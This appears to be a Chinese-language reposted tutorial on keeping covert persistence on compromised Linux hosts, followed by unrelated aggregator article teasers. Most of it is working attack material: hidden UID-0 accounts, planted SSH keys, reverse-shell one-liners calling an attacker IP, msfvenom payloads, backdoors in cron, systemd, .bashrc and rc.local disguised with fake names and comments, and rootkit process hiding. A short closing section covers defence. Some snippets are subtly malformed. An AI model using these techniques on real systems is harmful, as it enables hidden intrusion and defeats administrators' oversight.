内网后渗透攻击--linux系统(权限维持)

用途限制声明,本文仅用于网络安全技术研究、教育与知识分享。文中涉及的渗透测试方法与工具,严禁用于未经授权的网络攻击、数据窃取或任何违法活动。任何因不当使用本文内容导致的法律后果,作者及发布平台不承担任何责任。渗透测试涉及复杂技术操作,可能对目标系统造成数据损坏、服务中断等风险。读者需充分评估技术能力与潜在后果,在合法合规前提下谨慎实践。

这次我们来讲述权限维持技术,权限维持的核心目标是长期、稳定、隐蔽地控制目标主机,避免因系统重启、账号清理、日志审计等操作丢失权限。以下从「系统账号」「后门程序」「服务 / 计划任务」「内核层」「环境与启动项」五大维度,系统梳理常见技术手段,并分析其隐蔽性与风险。

一、系统账号类维持

通过创建或篡改系统账号,实现长期登录,核心是 “让账号看起来合法,或难以被发现”。

1.1 隐藏管理员账号(UID=0)

Linux 中UID=0即拥有 root 权限,可通过修改/etc/passwd创建 “名不副实” 的管理员账号,甚至隐藏账号名。

  • 原理/etc/passwd存储账号基本信息,格式为用户名:密码占位符:UID:GID:注释:家目录:shell;若将普通用户名的UID/GID改为 0,该用户即拥有 root 权限。
  • 操作
    1. 直接编辑/etc/passwd,添加一行(注意密码哈希需提前生成,如用openssl passwd -1 密码生成 MD5 哈希):
      # 正常账号(UID=1000)
      test:x:1000:1000:Test User:/home/test:/bin/bash
      # 隐藏管理员账号(UID=0,用户名前加空格,ls/useradd难以直接发现)
      [空格]admin:$1$abc123$xyz789:/0:0:Hidden Admin:/root:/bin/bash
      
    2. 登录时使用[空格]admin(输入时先敲空格)+ 密码,即可获取 root 权限。
  • 隐蔽性:常规命令(如cat /etc/passwd | grep root)无法匹配,需cat /etc/passwd逐行查看;但id [空格]adminls -l /home仍可能暴露。

1.2 SSH 公钥持久化

通过将攻击者的 SSH 公钥写入目标主机的~/.ssh/authorized_keys,实现免密码登录,隐蔽性高且抗重启。

  • 原理:SSH 默认优先验证authorized_keys中的公钥,若匹配则无需密码即可登录;即使目标修改 root 密码,公钥登录仍有效。
  • 操作
    1. 攻击者本地生成 SSH 密钥对:ssh-keygen -t rsa(一路回车,生成~/.ssh/id_rsa私钥和id_rsa.pub公钥)。
    2. 将公钥上传到目标主机的 root 家目录(或其他高权限用户):
      # 目标主机执行(确保.ssh目录权限为700,authorized_keys为600)
      mkdir -p /root/.ssh && chmod 700 /root/.ssh
      echo "攻击者的id_rsa.pub内容" >> /root/.ssh/authorized_keys
      chmod 600 /root/.ssh/authorized_keys
      
    3. 攻击者本地登录:ssh root@目标IP(无需输入密码)。
    4. ssh 用户@IP地址
  • 隐蔽性优化
    • 隐藏authorized_keys文件:将文件名改为/root/.ssh/authorized_keys2(部分 SSH 配置支持,需确认sshd_configAuthorizedKeysFile参数),或添加隐藏属性chattr +i /root/.ssh/authorized_keys

1.3 sudo 免密配置

若仅获取普通用户权限,可通过修改sudoers文件,让该用户免密执行 root 命令,实现 “低权限→高权限” 的持久化。

  • 操作
    1. 编辑sudoers文件(必须用visudo):visudo
    2. 添加一行(test为普通用户名,允许免密执行所有 root 命令):
      test ALL=(ALL) NOPASSWD: ALL
      
    3. 普通用户提权:sudo su -(无需输入密码,直接切换为 root)。
  • 隐蔽性sudo -l可查看当前用户的 sudo 权限,需避免目标执行该命令;可限制仅允许免密执行特定命令(如/bin/bash),降低暴露概率。

二、后门程序类维持

通过在目标主机部署后门程序,实现主动连接或被动监听,核心是 “规避杀软与进程检测”。

2.1 反向 Shell 后门

内网环境中,目标通常无法被外网直接访问,因此反向 Shell(目标主动连接攻击者)是主流选择,常见工具有ncbashpython等。

(1)Netcat 反向后门
  • 原理nc(Netcat)是 “网络瑞士军刀”,可建立 TCP/UDP 连接并绑定 Shell;需使用静态编译版 nc,且优先选择加密版本。
  • 操作步骤
    1. 攻击者监听端口(如 8888):nc -lvp 8888-l监听,-v详细输出,-p指定端口)。
    2. 目标主机执行反向连接(绑定 bash):
      nc -lvp 8888
      # 在目标机执行(替换为你的攻击机IP和端口)
      rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc 10.228.70.176 8888 > /tmp/f
      #rm -f /tmp/f; mkfifo /tmp/f:删除可能存在的旧管道文件,创建一个新的命名管道 /tmp/f。
      cat /tmp/f | /bin/bash -i 2>&1:将管道的输入传递给交互式 bash(-i),并将 bash 的输出(包括错误 2>&1)传递给后续命令。
      nc 10.228.70.176 8888 > /tmp/f:通过 nc 连接攻击机的 8888 端口,并将攻击机发送的命令写入管道 /tmp/f,形成双向通信。
      
    3. ​​​​​​​
  • 隐蔽性优化
    • 重命名nc为系统合法文件名(如/usr/bin/libnet.so),避免被ps直接发现。
    • 后台运行:nohup ./nc-static 攻击者IP 8888 -e /bin/bash &nohup忽略挂断信号,&后台运行)。
(2)无文件反向 Shell

无需上传nc等工具,直接利用目标系统自带的bashpythonperl等命令生成 Shell,规避文件检测。

  • 示例 1:bash 反向 Shell(仅支持 bash 环境):
    bash -i >& /dev/tcp/攻击者IP/8888 0>&1
    # 解析:bash -i(交互Shell),将输出重定向到攻击者IP:8888,输入重定向到输出
    
  • 示例 2:python 反向 Shell(目标需安装 python):
    python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("攻击者IP",8888));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
    
  • 隐蔽性:无落地文件,仅在进程列表中显示bashpython,需结合进程隐藏技术(如下文的LD_PRELOAD劫持)。

2.2 SSH 后门(替换 / 篡改 SSH 服务,持久化登录)

通过修改 SSH 服务配置或替换sshd二进制文件,实现 “秘密登录”,隐蔽性极高。

(1)SSH 密钥日志后门(记录合法用户密码 / 密钥)
  • 原理:修改sshd的 PAM(Pluggable Authentication Modules)配置,在用户登录时记录密码或公钥,无需替换sshd二进制。
  • 操作步骤
    1. 编辑 PAM 配置文件:vi /etc/pam.d/sshd,添加一行(记录登录信息到/tmp/ssh.log):
      session required pam_exec.so /usr/local/bin/ssh-logger.sh
      
    2. 编写日志脚本/usr/local/bin/ssh-logger.sh(记录用户名、IP、时间):
      #!/bin/bash
      echo "$(date +%Y-%m-%d_%H:%M:%S) - User: $PAM_USER, IP: $PAM_RHOST" >> /tmp/ssh.log
      exit 0
      
    3. 赋予脚本权限:chmod +x /usr/local/bin/ssh-logger.sh,重启 sshd:systemctl restart sshd
  • 隐蔽性/etc/pam.d/sshd是系统常规配置文件,难以发现;日志文件需隐藏(如/var/log/ssh/sshd.log,伪装系统日志)。
(2)替换 sshd 二进制(植入后门,高权限控制)
  • 原理:使用开源 SSH 后门(如OpenSSH后门)替换系统默认的/usr/sbin/sshd,实现 “特定密码 / 密钥登录”,即使 root 密码修改仍有效。

2.3 Meterpreter/Cobalt Strike 后门

渗透测试工具(如 Metasploit、Cobalt Strike)提供成熟的 Linux 后门模块,支持持久化、加密传输、进程迁移,适合复杂内网环境。

(1)Metasploit 的 Linux 持久化模块
  • 操作步骤
    1. 生成 Linux payload(反向连接):
      msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=攻击者IP LPORT=8888 -f elf -o backdoor.elf
      
    2. 上传backdoor.elf到目标,执行获取 Meterpreter 会话:./backdoor.elf
    3. 在 Meterpreter 中执行持久化:
      run persistence -X -i 30 -p 8888 -r 攻击者IP
      # -X:系统启动时自动运行,-i 30:每30秒重连,-p/-r:攻击者端口/IP
      
  • 原理:模块会在/etc/rc.localcrontab等启动项中添加后门,实现开机自启。
(2)Cobalt Strike Beacon(企业级隐蔽后门)
  • 特点:支持DNS/HTTP/HTTPS隧道(穿透严格防火墙)、进程注入(避免独立进程被发现)、睡眠模式(降低资源占用),是内网后渗透的首选工具。
  • 操作:生成 Linux 格式的 Beacon(如elf文件),上传目标执行后,通过 C2 服务器控制,可直接在 Beacon 中执行persistence命令配置持久化(如添加计划任务、系统服务)。

三、服务与计划任务类维持

利用 Linux 的系统服务(systemd/sysvinit)或计划任务(crontab),实现 “开机自启、定时执行”,隐蔽性依赖 “伪装成合法服务 / 任务”。

3.1 Crontab 计划任务(简单高效,最常用)

crontab是 Linux 定时任务管理器,分为用户级crontab -e)和系统级/etc/crontab/etc/cron.d/),支持分钟 / 小时 / 日 / 月 / 周的定时执行。

(1)系统级定时任务(高权限,抗用户清理)
  • 操作示例
    1. 编辑系统级 crontab:vi /etc/crontab,添加一行(每 10 分钟执行反向 Shell):
      */10 * * * * root /usr/local/bin/backdoor.sh  # 每10分钟,root用户执行
      
    2. 编写backdoor.sh(反向连接脚本,需隐藏路径和文件名):
      #!/bin/bash
      # 检查后门是否已运行,避免重复启动
      if ! ps aux | grep "nc-static" | grep -v grep; then/usr/local/bin/nc-static 攻击者IP 8888 -e /bin/bash &
      fi
      
    3. 赋予权限:chmod +x /usr/local/bin/backdoor.sh,重启 crond 服务:systemctl restart crond
  • 隐蔽性优化
    • 伪装任务注释:在/etc/crontab中添加类似系统任务的注释(如# 定时清理日志)。
    • 隐藏脚本路径:将backdoor.sh放在/usr/lib/usr/bin等系统目录,重命名为libclean.sh
(2)用户级定时任务(低权限,不易被系统管理员发现)
  • 普通用户执行crontab -e,添加定时任务(语法与系统级一致),适合仅获取普通权限的场景;若该用户有sudo权限,可定时执行sudo命令提权。

3.2 Systemd 服务持久化

systemd是主流 Linux 发行版(如 CentOS 7+、Ubuntu 16+)的系统初始化系统,通过*.service文件管理服务,支持开机自启、进程监控(崩溃自动重启)。

  • 操作步骤
    1. 创建服务文件(如/lib/systemd/system/network-monitor.service,伪装 “网络监控服务”):
      [Unit]
      Description=Network Monitor Service  # 伪装描述
      After=network.target  # 网络启动后运行[Service]
      Type=simple
      ExecStart=/usr/local/bin/backdoor.elf  # 后门程序路径
      Restart=always  # 进程崩溃后自动重启
      RestartSec=5  # 崩溃后5秒重启[Install]
      WantedBy=multi-user.target  # 多用户模式下启动
      
    2. 启用并启动服务:
      systemctl daemon-reload  # 重新加载服务配置
      systemctl enable network-monitor.service  # 开机自启
      systemctl start network-monitor.service  # 立即启动
      
  • 隐蔽性systemctl list-units --type=service可查看所有服务,需确保服务名和描述与系统合法服务相似(如networkdsyslog);可通过systemctl mask隐藏服务(不推荐,易触发告警)。

四、内核层维持

通过加载内核模块(LKM)后门或植入Rootkit,直接控制 Linux 内核,绕过用户态检测工具(如pstopnetstat),隐蔽性最高,但技术门槛也最高。

4.1 LKM Rootkit(加载内核模块,隐藏进程 / 端口)

LKM(Loadable Kernel Module)是可动态加载到内核的模块,Rootkit 通过修改内核函数(如sys_getdentssys_getpid),实现 “进程隐藏、端口隐藏、日志篡改”。

常见 LKM Rootkit 工具
工具名称支持内核版本核心功能风险
KnarkLinux 2.4.x/2.6.x隐藏进程、文件、端口,日志清理仅支持老旧内核,现代内核(3.x+)兼容性差
Adore-ngLinux 2.6.x/3.x隐藏进程、文件,提权,端口转发需关闭内核安全机制(如 SMAP/SMEP)
DiamorphineLinux 2.6.x-5.x支持新内核,隐藏进程、文件、模块,反调试开源,易被 EDR 检测特征
操作原理
  1. 编译 LKM Rootkit(需匹配目标内核版本,安装kernel-devel):
    make  # 编译生成diamorphine.ko(内核模块文件)
    
  2. 加载模块(需 root 权限,且内核允许加载未签名模块):
    insmod diamorphine.ko  # 加载模块
    
  3. 隐藏进程(以backdoor.elf为例):
    echo "hide 1234" > /proc/diamorphine  # 1234为backdoor.elf的PID
    
  • 隐蔽性:用户态工具(如pslsmod)无法检测到隐藏的进程和模块;但需绕过内核安全机制(如Secure Boot、内核签名验证),现代 Linux 系统默认启用这些机制,加载 LKM 难度较大。

五、环境与启动项类维持

通过修改系统启动文件或环境变量,实现 “用户登录 / 系统启动时自动执行后门”,适合低权限场景。

5.1 登录 Shell 配置文件(用户登录触发)

Linux 用户登录时,会自动执行~/.bashrc~/.bash_profile/etc/profile等配置文件,可在这些文件中植入后门命令。

  • 操作示例
    1. 编辑 root 用户的~/.bashrc(仅 root 登录时触发):
      # 在文件末尾添加(隐藏后门命令,用注释伪装)
      # 系统环境变量初始化(伪装注释)
      if [ -f /usr/local/bin/sysinit.sh ]; then/usr/local/bin/sysinit.sh &
      fi
      
    2. 编写/usr/local/bin/sysinit.sh(反向 Shell 脚本):
      #!/bin/bash
      nohup nc 攻击者IP 8888 -e /bin/bash &
      
  • 隐蔽性cat ~/.bashrc可查看配置,需避免目标手动检查;可仅在普通用户的配置文件中植入(如/home/test/.bashrc),降低被系统管理员发现的概率。

5.2 /etc/rc.local

/etc/rc.local是系统启动的最后一步执行的脚本(需exec /etc/rc.d/rc.local启用),适合所有用户登录前触发后门。

  • 操作示例
    1. 编辑/etc/rc.local,在exit 0前添加:
      # 启动系统监控服务(伪装注释)
      /usr/local/bin/backdoor.elf &
      
    2. 赋予执行权限:chmod +x /etc/rc.local,启用服务(CentOS 7+):
      systemctl enable rc-local.service
      systemctl start rc-local.service
      

六、权限维持的核心防御

理解攻击手段的同时,需掌握防御方法,避免自身系统被入侵后权限维持:

  1. 账号安全
    • 定期审计/etc/passwd/etc/shadow,检查异常 UID=0 账号;
    • 禁用 SSH 公钥登录(或仅允许特定 IP),定期清理~/.ssh/authorized_keys
    • 严格控制sudoers权限,避免普通用户免密提权。
  2. 进程与文件监控
    • 使用ps auxnetstat -tulnp定期检查异常进程和端口;
    • 监控/usr/bin/usr/lib/tmp等目录的异常文件,对比文件 MD5 哈希与官方值。
  3. 日志审计
    • 启用auditd服务,监控/etc/passwd/etc/crontabsshd等核心文件 / 服务的修改;
    • 定期检查/var/log/auth.log(SSH 登录)、/var/log/cron(计划任务)、/var/log/messages(系统日志)的异常记录。
  4. 内核安全
    • 启用Secure Boot(阻止未签名内核模块加载)、SMAP/SMEP(防止内核空间与用户空间数据访问);
    • 定期更新内核,修复已知 LKM Rootkit 利用的漏洞。
  5. 终端防护
    • 部署 EDR(终端检测与响应)工具,如FalconEDR for Linux,检测反向 Shell、异常进程注入等行为。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/web/95990.shtml
繁体地址,请注明出处:http://hk.pswp.cn/web/95990.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

C++笔记之同步信号量、互斥信号量与PV操作再探(含软考题目)

C++笔记之同步信号量、互斥信号量与PV操作再探(含软考题目) code review! 参考笔记: 1.C++笔记之同步信号量、互斥信号量与PV操作再探(含软考题目) 2.C++笔记之信号量、互斥量与PV操作 参考链接 1.嵌入式基础知识-信号量,PV原语与前趋图 2.信号量、PV操作及软考高级试题解析…

布隆过滤器:快速判断某个元素是否存在

特点:高效、空间占用小、允许一定误判 布隆过滤器在 Redis 里的实现机制,核心就是:用一个大位图(bitmap)来表示集合 位图长度 m 初始值都是 0 插入元素时通过 k 个不同的哈希函数,对元素做哈希 每个哈希结…

C# 修改基类List中某一元素的子类类型

描述&#xff1a;基类&#xff1a;BaseClass子类1&#xff1a;A子类2&#xff1a;B然后我有一个List<BaseClass>类型的链表:list&#xff0c;我先往list中添加了两个元素&#xff1a;第一个元素为A类型&#xff0c;第二个元素为B类型&#xff0c;然后我想改变第一个元素类…

基于STM32智能阳台监控系统

基于STM32智能阳台监控系统&#xff08;程序&#xff0b;原理图元件清单&#xff09;功能介绍具体功能&#xff1a;1.采用STM32作为主控芯片实现检测和控制&#xff1b;2.通过光敏电阻采集光线&#xff0c;将当前光线值在LCD1602显示&#xff0c;低于50%控制LED亮&#xff0c;高…

动态维护有效区间:滑动窗口

右指针不断移动获取解&#xff0c;左指针不断移动缩小解范围 左指针的意义非常重要&#xff0c;相当于一个标兵&#xff0c;不断与这个标兵进行比较&#xff0c;如果符合要求&#xff0c;这左指针进行移动&#xff0c;并进行操作&#xff0c;如果不符合要求&#xff0c;则左指针…

嵌入式学习---(单片机)

1.UART的概念通用异步收发器&#xff0c;2个串口&#xff08;1个串口被用于ISP下载程序&#xff0c;1个串口被用于和主机之间的通信&#xff09;&#xff0c;RXD(接收信号线) TXD(发送信号线)2、单工、半双工、全双工概念对比维度单工&#xff08;Simplex&#xff09;半双工&am…

基于单片机的宠物屋智能系统设计与实现(论文+源码)

1设计思路本设计基于单片机的宠物屋智能系统核心是实现对宠物生活环境及状态的智能管理。系统以单片机为中枢&#xff0c;连接红外测温传感器&#xff0c;可实时精准捕捉宠物体温变化&#xff0c;以便及时发现健康异常&#xff1b;水位检测传感器时刻监测饮用水余量&#xff0c…

【面试】Java基础面试题

1. Java 基本数据类型有哪些&#xff1f;场景&#xff1a;面试官问「String 是不是基本类型&#xff1f;」答案要点&#xff1a;8 种基本类型&#xff1a;byte, short, int, long, float, double, char, boolean。String 是引用类型。追问链条&#xff1a;问&#xff1a;为什么…

PHP云课堂在线网课系统 多功能网校系统 在线教育系统源码

内容目录一、详细介绍二、效果展示1.部分代码2.效果图展示三、学习资料下载一、详细介绍 云课堂&#xff0c;依托腾讯云基础服务架构&#xff0c;采用C扩展框架Phalcon开发&#xff0c; 系统功能 实现了点播、直播、专栏、会员、积分、秒杀、微聊等。 友情提示&#xff1a;…

GEM5学习(4): 运行全系统模式的ARM系统

详细说明可以见官网 gem5: Extending gem5 for ARM 下载镜像 mkdir -p cpu_tests/benchmarks/bin/arm cd cpu_tests/benchmarks/bin/arm wget dist.gem5.org/dist/v22-0/test-progs/cpu-tests/bin/arm/Bubblesort wget dist.gem5.org/dist/v22-0/test-progs/cpu-tests/bin/arm…

快捷:常见ocr学术数据集预处理版本汇总(适配mmocr)

快捷&#xff1a;常见ocr学术数据集预处理版本汇总&#xff08;适配mmocr&#xff09;快捷&#xff1a;常见ocr学术数据集预处理版本汇总&#xff08;适配mmocr&#xff09;状态指标验证快捷&#xff1a;常见ocr学术数据集预处理版本汇总&#xff08;适配mmocr&#xff09; 状…

从抽象到实现:Elasticsearch数据类型及其底层Lucene数据结构的深度解析

第一部分&#xff1a;Lucene基础&#xff1a;核心索引结构Elasticsearch的强大功能根植于其核心——Apache Lucene&#xff0c;一个高性能、功能完备的搜索引擎库 1。要深入理解Elasticsearch如何处理各种数据类型&#xff0c;首先必须剖析构成Lucene索引的三个基本数据结构&am…

Claude Code核心功能操作指南

&#xff08;一&#xff09;核心交互面板&#xff1a;认识操作界面 登录后进入 Claude Code 主界面&#xff0c;核心区域分为三部分&#xff0c;各模块功能清晰&#xff1a;可以通过 注册免费体验。左侧导航栏&#xff1a;包含 “新建任务”“历史记录”“收藏夹”“帮助中心”…

数据仓库进化:Agent驱动数智化新范式

目录 回顾&#xff1a;从 "人为中心" 的数仓&#xff0c;到大数据与云数仓的进化 AI Agent 成为数据的 "新用户" Agentic Data Stack 如何打破低效与内耗 企业数智化的新范式 案例与趋势展望 所有软件都会被 Agent 改写一遍 经过半个世纪的数据仓库发…

什么是shellcode

好的&#xff0c;我们来详细地解释一下什么是 Shellcode。核心定义Shellcode 是一段精炼的、用作有效载荷&#xff08;Payload&#xff09; 的机器代码。它之所以叫这个名字&#xff0c;是因为最初这类代码的唯一目的就是启动一个命令行 Shell&#xff08;例如 /bin/sh&#xf…

线性代数 | 行图像 / 列图像

注&#xff1a;本文为 “线性代数 | 行图像 / 列图像” 相关合辑。 图片清晰度受引文原图所限。 略作重排&#xff0c;未整理去重。 如有内容异常&#xff0c;请看原文。 MIT 线性代数笔记一 行图像和列图像 线性代数行图像与列图像解析 herosunly 已于 2022-01-25 15:34:26 …

Batch Normalization:深度学习中的“加速器”与“稳定器”

在深度学习的世界里&#xff0c;神经网络的训练常常充满了挑战。从复杂的梯度问题到漫长的收敛过程&#xff0c;每一个环节都可能成为阻碍我们前进的绊脚石。而今天&#xff0c;我们要深入探讨的 BatchNormalizationBatch NormalizationBatchNormalization&#xff08;批量归一…

软考备考①

一、数值及其转换和数据的表示1、数值及其转换①任意进制到十进制以二进制为例&#xff0c;以小数点做分割&#xff0c;小数点以左从二的零次方开始&#xff0c;小数点以右从二的负一次方开始。②十进制到任意进制利用短除法③二进制到十六进制分为小数点前和小数点后&#xff…

小程序缓存数据字典

import { getDict } from /api/profile;const CACHE_KEY DICT_CACHE;let dictCache new Map();// 初始化时加载缓存const loadCache () > {const cache uni.getStorageSync(CACHE_KEY);if (cache) {dictCache new Map(JSON.parse(cache));}};// 保存缓存到Storageconst…

Java对象在内存中的布局详解

1、Java 对象内存布局&#xff08;HotSpot 虚拟机&#xff09;在 ​HotSpot 虚拟机​ 中&#xff0c;一个 Java 对象在堆内存中的存储布局可以分为以下几个部分&#xff1a;1、对象头&#xff08;Object Header&#xff09;​对象头是对象内存布局中最重要的部分之一&#xff0…